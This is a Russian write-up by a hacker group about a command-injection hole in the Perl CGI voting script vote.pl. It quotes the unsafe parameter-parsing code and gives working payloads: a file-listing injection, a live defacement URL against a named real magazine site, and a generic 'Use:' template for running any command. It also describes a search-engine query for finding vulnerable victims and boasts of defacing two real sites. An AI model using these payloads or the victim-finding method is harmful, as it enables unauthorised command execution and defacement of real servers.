В новогоднюю ночь нарыл я интересный скрипт для голосования под названием
vote.pl. Заглянул в исходники. На первый взгляд маленький безобидный
скрипт… но это только на первый взгляд ))) Меня заинтересовали строки: 

@pairs = split(/&/, $bufer); 
foreach $pair (@pairs) 

($name, $value) = split(/=/, $pair); 
$value =~ tr/+/ /; 
$value =~ s/%([a-fA-F0-9][a-fA-F0-9])/pack("C", hex($1))/eg; 
$VOTE{$name} = $value; 

$filecnt="$VOTE{id}.cnt"; 
$filedata="$VOTE{id}.dat"; 
$filelog="$VOTE{id}.log"; 
$action="$VOTE{action}"; 
$oldlog="$VOTE{id}.old"; 

Никакой проверки на метасимволы. Далее, как и следовало ожидать, при
$action eq “show” открывались эти файлы ну и т.д. Таким образом, подставив
в id определённую строку, можно выполнять команды на сервере и любоваться на
вывод )))) Например, если подставить в id строку “| ls ;” можно просмотреть
список файлов в дире. С помощью этого бага можно без проблем дефейснуть сайт. 

Далее: 

if ($ENV{'REQUEST_METHOD'} eq "POST") 

read(STDIN, $bufer, $ENV{'CONTENT_LENGTH'}); 

else 

$bufer=$ENV{'QUERY_STRING'}; 


Этот скрипт может принимать запросы GET и POST, что позволяет юзать эту
дыру прям вводя команды в Query_string как Unicode bug, что меня очень
радует )))) 

В поисках жертвы затруднений не было,
достаточно было в Яндексе ввести "Script from Bullet" и тут же вываливался список потенциально уязвимых
сайтов. Но каково же было удивление, когда мы обнаружили этот скрипт на
сайте сейчас уже закрывшегося журнала "ПРОГРАММИСТ". В голову стукнула мысль,
что админ такого журнала не дурак и не мог поставить на свой сайт этот скрипт, но всё
оказалась замечательно (для нас).

http://programme.ru/cg-bin/vote/vote.pl?action=show&id=| echo HACKED>index.html ; 

"ПРОГРАММИСТ" висел хакнутым больше месяца,
видимо уже тогда там всем все было пофигу.

Сейчас в сети появился обновлённый скрипт в котором этой баги уже нету . 

P.S. Через эту же багу был взломан http://mp3players.ru.

Use: PATH_TO_SCR/vote.pl?action=show&id=| CMD ; 

JLx и XSPYD3X
http://zudteam.org

  • Подпишись на наc в Telegram!

    Только важные новости и лучшие статьи

    Подписаться

  • Подписаться
    Уведомить о
    0 комментариев
    Межтекстовые Отзывы
    Посмотреть все комментарии